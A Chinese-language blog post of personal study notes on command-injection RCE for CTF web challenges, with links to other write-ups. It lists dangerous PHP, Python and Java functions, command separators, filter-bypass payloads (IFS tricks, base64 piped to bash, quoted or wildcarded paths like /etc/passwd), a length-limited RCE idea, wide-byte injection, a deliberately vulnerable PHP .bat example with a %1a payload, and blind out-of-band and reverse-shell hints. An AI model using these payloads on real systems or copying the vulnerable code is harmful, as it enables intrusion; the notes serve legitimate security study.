前言:

重新认知梳理一下知识,再打牢一下基础.,也方便以后复习

用了很多别的师傅总结过了的东西,我会附上链接,如有侵权什么的,请师傅们联系我删除,感谢师傅们QAQ

应该要再总结一下写shell的姿势

危险函数:

一些危险函数可能会导致RCE

PHP:
  • system
  • exec
  • passthru
  • shell_exec
  • popen
  • proc_open
python
  • system
  • popen
  • subprocess.call
  • spawn
Java

java.lang.Runtime.getRuntime().exec(command)

利用姿势

注入姿势

多语句执行

&&
&
|
;
||
\r\n %d0%a0 //换行执行 ` ` //反引号解析 $() 替换 

bypass

对于空格
$IFS
$IFS$9   //一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串
${IFS}   //{}用来起截断作用,否则例如 cat$IFS IFS会被认为是第二个参数
<>   <
,
%20 
%09 
\t
ban掉特定的字符字母
变量拼接
a=l;b=s;$a$b //ls 
base64编码绕过
echo "bHM=" | base64 -d
echo "bHM=" | base64 -d | bash
echo "bHM=" | base64 -d | sh
另外绕过几个小姿势
ca\t
ca''t
ca""t
/?in/?s = /bin/ls
利用连接符 cat /etc/pass'w'd
利用未定义的初始化变量 cat$x /etc/passwd
cat fl*  //linux下通配符 匹配任意字符
长度限制绕过

思路:通过构造文件名,之后利用ls命令及其参数将所需的shell命令写入到一个新文件中,并sh执行该新文件从而达到任意命令执行

几个用到的知识点:

linux可以用\进行命令的换行 来将一行命令变为多行来写 //换行不影响执行,并且就算一行出错也不影响执行 ls -t >a //ls按时间顺序把命令写入文件a中

linux下 >表示覆盖原文件内容 linux 下 >>表示追加内容//另起一行写入

ls -t >a // ls按时间排序把命令写入文件a

之前做过一道ctf题 HITCON CTF 2017-BabyFirst Revenge
考的就是这个长度限制RCE 5字符RCE
稍后还是再复现一遍巩固一下吧 这里用到了个思路 想办法构造ls -t >a 再利用 ls -t >a 将一些命令写入文件中,可以考虑远程加载我们vps上的一个脚本,或着直接弹shell…..

参考:https://chybeta.github.io/2017/11/04/HITCON-CTF-2017-BabyFirst-Revenge-writeup/

宽字节注入

一直没遇到过,在一个师傅博客上学的 //copy过来,方便下次复习,师傅博客已经贴在旁边了

php5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。

escapeshellcmd("echo ".chr(0xc0).";id");

之后该语句会变成

echo 繺;id

从而实现 id 命令的注入

win下执行bat

也是在师傅博客上学的,//copy过来,方便下次复习

<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。 payload:

dir=../ %1a whoami

补充(linux下一些字符)

${PS2} 对应字符 '>'
${PS4} 对应字符 '+'
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串
通配符:
* 0到无穷个任意字符

? 一个任意字符

[ ] 一个在括号内的字符,e.g. [abcd]

[ - ] 在编码顺序内的所有字符

[^ ] 一个不在括号内的字符
命令分隔符:
%0a 
%0d 
\n 
 \r
;
& 
&&
|
||

无参数RCE

之前总结过传送门

无回显利用技巧

  • http带外
    • curl 
    • wget
    • ping 
  • 无带外时利用 sleep 或其他逻辑构造布尔条件
  • 反弹shell(反弹shell很多姿势:学习链接)

补充:(php正则绕过以及畸形shell的写法)

在比赛的时候比较常见,源码直接给了正则的细节,要想办法绕过,这里重新再总结一篇吧。

参考:

https://chybeta.gitbooks.io/waf-bypass/content/ming-ling-zhu-ru/rao-guo-fang-fa.html

web安全学习笔记

https://blog.csdn.net/weixin_42348709/article/details/90400360

https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw


0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注